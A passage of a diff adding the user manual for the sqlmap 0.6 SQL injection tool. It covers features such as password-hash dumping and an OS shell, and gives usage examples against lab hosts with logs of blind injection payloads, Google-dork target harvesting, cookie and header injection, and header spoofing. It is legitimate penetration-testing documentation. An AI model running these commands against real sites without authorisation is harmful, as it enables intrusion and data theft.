+Major features implemented in sqlmap include: + +<itemize> +<item>Full support for <bf>MySQL</bf>, <bf>Oracle</bf>, <bf>PostgreSQL</bf> +and <bf>Microsoft SQL Server</bf> back-end database management systems. +Besides these four database management systems, sqlmap can also identify +Microsoft Access, DB2, Informix, Sybase and Interbase. +<item><bf>Extensive back-end database management system fingerprint</bf> +based upon +<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="inband error messages">, +<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="banner parsing">, +<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="functions output comparison"> and +<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="specific features"> +such as MySQL comment injection. It is also possible to force the back-end +database management system name if you already know it. +<item>Full support for two SQL injection techniques: <bf>blind SQL +injection</bf> and <bf>inband SQL injection</bf>. +<item>Options to retrieve on all four back-end database management system +<bf>banner</bf>, <bf>current user</bf>, <bf>current database</bf>, +enumerate <bf>users</bf>, <bf>users password hashes</bf>, <bf>users +privileges</bf>, <bf>databases</bf>, <bf>tables</bf>, <bf>columns</bf>, +dump <bf>tables entries</bf>, dump <bf>whole database management +system</bf> and run your <bf>own SQL <tt>SELECT</tt> statement</bf>. +<item>If the back-end database management system is MySQL it is also +possible to <bf>read a specific file content</bf> and in some +circumstances <bf>prompt for an interactive operating system shell</bf> +with TAB completion and history support. +<item>Automatically tests all provided <bf>GET</bf> parameters, +<bf>POST</bf> parameters, HTTP <bf>Cookie</bf> header values and HTTP +<bf>User-Agent</bf> header value to find the dynamic ones, which means +those that vary the HTTP response page content. +On the dynamic ones sqlmap automatically tests and detects the ones +affected by SQL injection. Each dynamic parameter is tested for +<em>numeric</em>, <em>single quoted string</em>, <em>double quoted +string</em> and all of these three datatypes with zero, one and two +parenthesis to correctly detect which is the <tt>SELECT</tt> statement syntax to +perform further injections with. It is also possible to specify the +parameter(s) that you want to perform tests and use for injection on. +<item>Option to specify the <bf>maximum number of concurrent HTTP +requests</bf> to speed up the blind SQL injection algorithms +(multithreading). +<item><bf>HTTP <tt>Cookie</tt> header</bf> string support, useful when the +web application requires authentication based upon cookies and you have +such data or in case you just want to test for and exploit SQL injection +on such header. +<item>Automatically handle <bf>HTTP <tt>Set-Cookie</tt> header</bf> from +target url, re-establishing of the session if it expires. Test and exploit +on these values is supported too. +<item><bf>HTTP Basic and Digest authentications</bf> support. +<item><bf>Anonymous HTTP proxy</bf> support to pass by the HTTP requests +to the target URL. +<item>Options to fake the <bf>HTTP <tt>Referer</tt> header</bf> value and +the <bf>HTTP <tt>User-Agent</tt> header</bf> value specified by user or +randomly selected from a text file. +<item>Support to increase the <bf>verbosity level of output messages</bf>: +there exist <bf>six levels</bf>. The default level is 0 (silent) in which +only warnings, errors and tracebacks, if they occur, will be shown. +<item><bf>Estimated time of arrival</bf> support for each query, updated +in real time while fetching the information to give to the user an +overview on how long it will take to retrieve the output. +<item>Support to save the session (queries and their output, even if +partially retrieved) in real time while fetching the data on a text file +and <bf>resume the injection from this file in a second time</bf>. +<item>Support to read options from a configuration INI file rather than +specify each time all of the options on the command line. Support also to +save command line options on a configuration INI file. +<item><bf>PHP setting <tt>magic_quotes_gpc</tt> bypass</bf> by encoding +every query string, between single quotes, with <tt>CHAR</tt>, or similar, +database management system function. +</itemize> + + +<sect>Download and update + +<p> +sqlmap can be downloaded from its +<htmlurl url="http://sourceforge.net/project/showfiles.php?group_id=171598&package_id=196107" +name="SourceForge File List page">. +It is available in various formats: + +<itemize> +<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.tar.gz" +name="Source gzip compressed"> operating system independent. +<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.tar.bz2" +name="Source bzip2 compressed"> operating system independent. +<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.zip" +name="Source zip compressed"> operating system independent. +<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6-1_all.deb" +name="DEB binary package"> architecture independent for Debian and any +other Debian derivated GNU/Linux distribution. +<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6-1.noarch.rpm" +name="RPM binary package"> architecture independent for Fedora and any +other operating system that can install RPM packages. +<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6_exe.zip" +name="Portable executable for Windows"> that <bf>does not require the Python +interpreter</bf> to be installed on the operating system. +</itemize> + +<p> +Whatever way you downloaded sqlmap, run it with <tt>--update</tt> +option to update it to the latest stable version available on its +<htmlurl url="http://sourceforge.net/project/showfiles.php?group_id=171598&package_id=196107" +name="SourceForge File List page">. + + +<sect>License and copyright + +<p> +sqlmap is released under the terms of the +<htmlurl url="http://www.gnu.org/licenses/old-licenses/gpl-2.0.html" name="General Public License v2">. +sqlmap is copyrighted by +<htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G."> +and <htmlurl url="mailto:daniele.bellucci@gmail.com" name="Daniele Bellucci">. + + +<sect>Usage + +<p> +<tscreen><verb> +$ python sqlmap.py -h + + sqlmap/0.6 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>} + +Options: + --version show program's version number and exit + -h, --help show this help message and exit + + Request: + These options have to be specified to set the target url, HTTP method, + how to connect to the target url or Google dorking results in general. + + -u URL, --url=URL Target url + -g GOOGLEDORK Process Google dork results as target urls + -p TESTPARAMETER Testable parameter(s) + --method=METHOD HTTP method, GET or POST (default: GET) + --data=DATA Data string to be sent through POST + --cookie=COOKIE HTTP Cookie header + --referer=REFERER HTTP Referer header + --user-agent=AGENT HTTP User-Agent header + -a USERAGENTSFILE Load a random HTTP User-Agent header from file + --auth-type=ATYPE HTTP Authentication type, value: Basic or Digest + --auth-cred=ACRED HTTP Authentication credentials, value: name:password + --proxy=PROXY Use a HTTP proxy to connect to the target url + --threads=THREADS Maximum number of concurrent HTTP requests (default 1) + + Injection: + --string=STRING String to match in page when the query is valid + --dbms=DBMS Force back-end DBMS to this value + + Fingerprint: + -f, --fingerprint Perform an extensive database fingerprint + + Enumeration: + These options can be used to enumerate the back-end database + management system information, structure and data contained in the + tables. Moreover you can run your own SQL SELECT queries. + + -b, --banner Retrieve DBMS banner + --current-user Retrieve DBMS current user + --current-db Retrieve DBMS current database + --users Enumerate DBMS users + --passwords Enumerate DBMS users password hashes (opt: -U) + --privileges Enumerate DBMS users privileges (opt: -U) + --dbs Enumerate DBMS databases + --tables Enumerate DBMS database tables (opt: -D) + --columns Enumerate DBMS database table columns (req: -T, -D) + --dump Dump DBMS database table entries (req: -T, -D opt: -C) + --dump-all Dump all DBMS databases tables entries + -D DB DBMS database to enumerate + -T TBL DBMS database table to enumerate + -C COL DBMS database table column to enumerate + -U USER DBMS user to enumerate + --exclude-sysdbs Exclude DBMS system databases when enumerating tables + --sql-query=QUERY SQL SELECT query to be executed + --sql-shell Prompt for an interactive SQL shell + + File system access: + These options can be used to access the back-end database management + system file system taking advantage of native DBMS functions or + specific DBMS design weaknesses. + + --read-file=RFILE Read a specific OS file content (only on MySQL) + --write-file=WFILE Write to a specific OS file (not yet available) + + Operating system access: + This option can be used to access the back-end database management + system operating system taking advantage of specific DBMS design + weaknesses. + + --os-shell Prompt for an interactive OS shell (only on PHP/MySQL + environment with a writable directory within the web + server document root for the moment) + + Miscellaneous: + --union-test Test for UNION SELECT (inband) SQL injection + --union-use Use the UNION SELECT (inband) SQL injection to + retrieve the queries output. No need to go blind + --eta Retrieve each query output length and calculate the + estimated time of arrival in real time + -v VERBOSE Verbosity level: 0-5 (default 0) + --update Update sqlmap to the latest stable version + -s SESSIONFILE Save and resume all data retrieved on a session file + -c CONFIGFILE Load options from a configuration INI file + --save Save options on a configuration INI file +</verb></tscreen> + + +<sect1>Request + +<sect2>Target URL + +<p> +Option: <tt>-u</tt> or <tt>--url</tt> + +<p> +To run sqlmap on a single target URL. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" + +[...] +back-end DBMS: MySQL >= 5.0.0 +</verb></tscreen> + + +<sect2>Target URL and verbosity + +<p> +Option: <tt>-v</tt> + +<p> +Verbose options can be used to set the verbosity level of output messages. +There exist six levels. +The default level is 0 (silent) in which only warnings, errors and +tracebacks, if they occur, will be shown. Level 1 shows also info +messages, level 2 show also debug messages, level 3 show also HTTP +requests with all HTTP headers sent, level 4 show also HTTP responses +headers and level 5 show also HTTP responses page content. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target (verbosity level <bf>1</bf>): + +<tscreen><verb> +$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 1 + +[hh:mm:01] [INFO] testing connection to the target url +[hh:mm:01] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:02] [INFO] url is stable +[hh:mm:02] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:02] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:02] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:02] [INFO] confirming that GET parameter 'id' is dynamic +[hh:mm:02] [INFO] GET parameter 'id' is dynamic +[hh:mm:02] [INFO] testing sql injection on GET parameter 'id' +[hh:mm:02] [INFO] testing numeric/unescaped injection on GET parameter 'id' +[hh:mm:02] [INFO] confirming numeric/unescaped injection on GET parameter 'id' +[hh:mm:02] [INFO] GET parameter 'id' is numeric/unescaped injectable +[hh:mm:02] [INFO] testing if GET parameter 'cat' is dynamic +[hh:mm:02] [WARNING] GET parameter 'cat' is not dynamic +[hh:mm:02] [INFO] testing for parenthesis on injectable parameter +[hh:mm:02] [INFO] the injectable parameter requires 0 parenthesis +[hh:mm:02] [INFO] testing MySQL +[hh:mm:02] [INFO] query: CONCAT(CHAR(53), CHAR(53)) +[hh:mm:02] [INFO] retrieved: 55 +[hh:mm:02] [INFO] performed 20 queries in 0 seconds +[hh:mm:02] [INFO] confirming MySQL +[hh:mm:02] [INFO] query: LENGTH(CHAR(53)) +[hh:mm:02] [INFO] retrieved: 1 +[hh:mm:02] [INFO] performed 13 queries in 0 seconds +[hh:mm:02] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:02] [INFO] retrieved: 5 +[hh:mm:02] [INFO] performed 13 queries in 0 seconds +back-end DBMS: MySQL >= 5.0.0 +</verb></tscreen> + +<p> +Example on a <bf>MySQL 5.0.51</bf> target (verbosity level <bf>2</bf>): + +<tscreen><verb> +$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 2 + +[hh:mm:34] [DEBUG] initializing the configuration +[hh:mm:34] [DEBUG] initializing the knowledge base +[hh:mm:34] [DEBUG] cleaning up configuration parameters +[hh:mm:34] [DEBUG] setting the HTTP method to perform HTTP requests through +[hh:mm:34] [DEBUG] creating HTTP requests opener object +[hh:mm:34] [DEBUG] parsing XML queries file +[hh:mm:34] [INFO] testing connection to the target url +[hh:mm:34] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:35] [INFO] url is stable +[hh:mm:35] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:35] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:35] [INFO] testing if GET parameter 'id' is dynamic +[...] +</verb></tscreen> + +<p> +Example on a <bf>MySQL 5.0.51</bf> target (verbosity level <bf>3</bf>): + +<tscreen><verb> +$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 3 + +[...] +[hh:mm:28] [INFO] testing connection to the target url +[hh:mm:28] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close +[...] +[hh:mm:29] [INFO] testing MySQL +[hh:mm:29] [INFO] query: CONCAT(CHAR(52), CHAR(52)) +[hh:mm:29] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20 +CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close +[...] +</verb></tscreen> + +<p> +Example on a <bf>MySQL 5.0.51</bf> target (verbosity level <bf>4</bf>): + +<tscreen><verb> +$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 4 + +[...] +[hh:mm:32] [INFO] testing connection to the target url +[hh:mm:32] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200): +Date: Thu, 24 Jul 2008 14:00:32 GMT +Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 +OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 +X-Powered-By: PHP/5.2.4-2ubuntu5.2 +Content-Length: 127 +Connection: close +Content-Type: text/html +[...] +[hh:mm:33] [INFO] testing MySQL +[hh:mm:33] [INFO] query: CONCAT(CHAR(52), CHAR(52)) +[hh:mm:33] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20 +CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200): +Date: Thu, 24 Jul 2008 14:00:33 GMT +Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 +OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 +X-Powered-By: PHP/5.2.4-2ubuntu5.2 +Content-Length: 75 +Connection: close +Content-Type: text/html +[...] +</verb></tscreen> + +<p> +Example on a <bf>MySQL 5.0.51</bf> target (verbosity level <bf>5</bf>): + +<tscreen><verb> +$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 5 + +[...] +[hh:mm:23] [INFO] testing connection to the target url +[hh:mm:23] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200): +Date: Thu, 24 Jul 2008 14:02:23 GMT +Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 +OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 +X-Powered-By: PHP/5.2.4-2ubuntu5.2 +Content-Length: 127 +Connection: close +Content-Type: text/html + +<html><body> +<b>SQL results:</b> +<table border="1"> +<tr><td>1</td><td>luther</td><td>blissett</td></tr> +</table> +</body></html> +[...] +[hh:mm:24] [INFO] testing MySQL +[hh:mm:24] [INFO] query: CONCAT(CHAR(51), CHAR(51)) +[hh:mm:24] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20 +CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200): +Date: Thu, 24 Jul 2008 14:02:24 GMT +Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 +OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 +X-Powered-By: PHP/5.2.4-2ubuntu5.2 +Content-Length: 75 +Connection: close +Content-Type: text/html + +<html><body> +<b>SQL results:</b> +<table border="1"> +</table> +</body></html> +[...] +</verb></tscreen> + + +<sect2>Process Google dork results as target urls + +<p> +Option: <tt>-g</tt> + +<p> +Rather than providing a target URL it is also possible to test and inject +on <tt>GET</tt> parameters on the results of your Google dork. + +This option makes sqlmap negotiate with the search engine its session +cookie to be able to perform a search, then sqlmap will retrieve Google +first 100 results for the Google dork expression with <tt>GET</tt> parameters +asking you if you want to test and inject on each possible affected URL. + +<p> +Example of Google dorking with expression <tt>site:yourdomain.com +inurl:example.php</tt>: + +<tscreen><verb> +$ python sqlmap.py -g "site:yourdomain.com inurl:example.php" -v 1 + +[hh:mm:38] [INFO] first request to Google to get the session cookie +[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are +testable hosts +[hh:mm:40] [INFO] url 1: http://yourdomain.com/example.php?id=12, do you want to test this +url? [y/N/q] n +[hh:mm:43] [INFO] url 3: http://yourdomain.com/example.php?id=24, do you want to test this +url? [y/N/q] n +[hh:mm:42] [INFO] url 2: http://thirdlevel.yourdomain.com/news/example.php?today=483, do you +want to test this url? [y/N/q] y +[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example.php?today=483 +[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:49] [INFO] url is stable +[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic +[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic +[hh:mm:53] [INFO] GET parameter 'today' is dynamic +[hh:mm:54] [INFO] testing sql injection on GET parameter 'today' +[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today' +[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today' +[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable +[...] +</verb></tscreen> + + +<sect2>Testable parameter(s) + +<p> +Option: <tt>-p</tt> + +<p> +By default sqlmap tests all <tt>GET</tt> parameters, <tt>POST</tt> +parameters, HTTP <tt>Cookie</tt> header values and HTTP <tt>User-Agent</tt> +header value for dynamicity and SQL injection vulnerability, but it is +possible to manually specificy the parameter(s) you want sqlmap to perform +tests on comma separeted in order to skip dynamicity tests and perform SQL +injection test and inject directly only against the provided parameter(s). + +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \ + -p id + +[hh:mm:48] [INFO] testing connection to the target url +[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:49] [INFO] url is stable +[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic +[hh:mm:49] [INFO] GET parameter 'id' is dynamic +[hh:mm:49] [INFO] testing sql injection on GET parameter 'id' +[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id' +[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id' +[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable +[hh:mm:49] [INFO] testing for parenthesis on injectable parameter +[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis +[...] +</verb></tscreen> + +<p> +Or, if you want to provide more than one parameter, for instance: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \ + -p "cat,id" +</verb></tscreen> + +<p> +You can also test only the HTTP <tt>User-Agent</tt> header. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \ + -p user-agent --user-agent "sqlmap/0.6 (http://sqlmap.sourceforge.net)" + +[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET +[hh:mm:40] [INFO] testing connection to the target url +[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:41] [INFO] url is stable +[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic +[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic +[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent' +[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent' +[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable +[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent' +[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent' +[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable +[hh:mm:41] [INFO] testing for parenthesis on injectable parameter +[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis +[hh:mm:41] [INFO] testing MySQL +[hh:mm:41] [INFO] query: CONCAT(CHAR(52), CHAR(52)) +[hh:mm:41] [INFO] retrieved: 44 +[hh:mm:41] [INFO] performed 20 queries in 0 seconds +[hh:mm:41] [INFO] confirming MySQL +[hh:mm:41] [INFO] query: LENGTH(CHAR(52)) +[hh:mm:41] [INFO] retrieved: 1 +[hh:mm:41] [INFO] performed 13 queries in 0 seconds +[hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:41] [INFO] retrieved: 4 +[hh:mm:41] [INFO] performed 13 queries in 0 seconds +back-end DBMS: MySQL >= 5.0.0 +</verb></tscreen> + + +<sect2>HTTP method: <tt>GET</tt> or <tt>POST</tt> + +<p> +Options: <tt>--method</tt> and <tt>--data</tt> + +<p> +By default the HTTP method used to perform HTTP requests is <tt>GET</tt>, +but you can change it to <tt>POST</tt> and provide the data to be sent +through <tt>POST</tt> request. Such data, being those parameters, are +tested for SQL injection like the <tt>GET</tt> parameters. + +<p> +Example on an <bf>Oracle XE 10.2.0.1</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u http://192.168.1.121/sqlmap/oracle/post_int.php --method POST \ + --data "id=1&cat=2" + +[hh:mm:53] [INFO] testing connection to the target url +[hh:mm:53] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:54] [INFO] url is stable +[hh:mm:54] [INFO] testing if POST parameter 'id' is dynamic +[hh:mm:54] [INFO] confirming that POST parameter 'id' is dynamic +[hh:mm:54] [INFO] POST parameter 'id' is dynamic +[hh:mm:54] [INFO] testing sql injection on POST parameter 'id' +[hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id' +[hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id' +[hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable +[hh:mm:54] [INFO] testing if POST parameter 'cat' is dynamic +[hh:mm:54] [WARNING] POST parameter 'cat' is not dynamic +[...] +[hh:mm:54] [INFO] testing Oracle +[hh:mm:54] [INFO] query: LENGTH(SYSDATE) +[hh:mm:54] [INFO] retrieved: 9 +[hh:mm:54] [INFO] performed 13 queries in 0 seconds +[hh:mm:54] [INFO] confirming Oracle +[hh:mm:54] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1 +[hh:mm:54] [INFO] retrieved: 10.2.0.1.0 +[hh:mm:55] [INFO] performed 76 queries in 0 seconds +back-end DBMS: Oracle +</verb></tscreen> + + +<sect2>HTTP <tt>Cookie</tt> header + +<p> +Option: <tt>--cookie</tt> + +<p> +This feature can be useful in two scenarios: + +<itemize> +<item>The web application requires authentication based upon cookies and +you have such data. +<item>You want to test for and exploit SQL injection on such header +values. +</itemize> + +<p> +The steps to go through in the second scenario are the following: + +<itemize> +<item>On Firefox web browser login on the web authentication form while +dumping URL requests with <htmlurl url="http://tamperdata.mozdev.org/" +name="TamperData"> browser's extension. +<item>In the horizontal box of the extension select your authentication +transaction then in the left box on the bottom click with the right button +on the <tt>Cookie</tt> value, then click on <tt>Copy</tt> to save its +value to the clipboard. +<item>Go back to your shell and run sqlmap. +</itemize> + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie \ + "id=1;cat=2" -v 1 + +[hh:mm:37] [INFO] testing connection to the target url +[hh:mm:37] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:38] [INFO] url is stable +[hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic +[hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic +[hh:mm:38] [INFO] Cookie parameter 'id' is dynamic +[hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id' +[hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie parameter 'id' +[hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie parameter 'id' +[hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable +[...] +</verb></tscreen> + +<p> +Note that the HTTP <tt>Cookie</tt> header values are separated by a +<tt>;</tt> character, <bf>not</bf> by an <tt>&</tt>. + +<p> +If the web application at first HTTP response has within the HTTP headers +a <tt>Set-Cookie</tt> header, sqlmap will automatically use it in all HTTP +requests as the HTTP <tt>Cookie</tt> header and also test for SQL +injection on these values. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3 + +[...] +[hh:mm:39] [INFO] testing connection to the target url +[hh:mm:39] [TRAFFIC OUT] HTTP request: +GET /sqlmap/get_str.asp?name=luther HTTP/1.1 +Host: 192.168.1.125:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ +Connection: close + +[...] +[hh:mm:40] [INFO] url is stable +[...] +[hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic +[hh:mm:40] [TRAFFIC OUT] HTTP request: +GET /sqlmap/get_str.asp?name=luther HTTP/1.1 +Host: 192.168.1.125:80 +Cookie: ASPSESSIONIDSABTRCAS=469 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic +[...] +</verb></tscreen> + +<p> +If you provide an HTTP <tt>Cookie</tt> header value and the target URL +sends an HTTP <tt>Set-Cookie</tt> header, sqlmap asks you which one to use +in the following HTTP requests. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" --cookie "id=1" + +[hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its +own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie +values that you provided? [Y/n] +</verb></tscreen> + + +<sect2>HTTP <tt>Referer</tt> header + +<p> +Option: <tt>--referer</tt> + +<p> +It is possible to fake the HTTP <tt>Referer</tt> header value with this +option. By default no HTTP <tt>Referer</tt> heder is sent in HTTP +requests. + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --referer \ + "http://www.google.com" -v 3 + +[...] +[hh:mm:48] [INFO] testing connection to the target url +[hh:mm:48] [TRAFFIC OUT] HTTP request: +GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +Referer: http://www.google.com +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close +[...] +</verb></tscreen> + + +<sect2>HTTP <tt>User-Agent</tt> header + +<p> +Options: <tt>--user-agent</tt> and <tt>-a</tt> + +<p> +By default sqlmap perform HTTP requests providing the following HTTP +<tt>User-Agent</tt> header value: + +<tscreen><verb> +sqlmap/0.6 (http://sqlmap.sourceforge.net) +</verb></tscreen> + +<p> +It is possible to fake it with the <tt>--user-agent</tt> option. + +<p> +Example on an <bf>Oracle XE 10.2.0.1</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \ + --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3 + +[...] +[hh:mm:02] [INFO] testing connection to the target url +[hh:mm:02] [TRAFFIC OUT] HTTP request: +GET /sqlmap/oracle/get_int.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) +Connection: close +[...] +</verb></tscreen> + +<p> +Providing a text file, <tt>./txt/user-agents.txt</tt> or any other +file containing a list of at least one user agent, to the <tt>-a</tt> +option, sqlmap will randomly select a <tt>User-Agent</tt> from the file +and use it for all HTTP requests. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 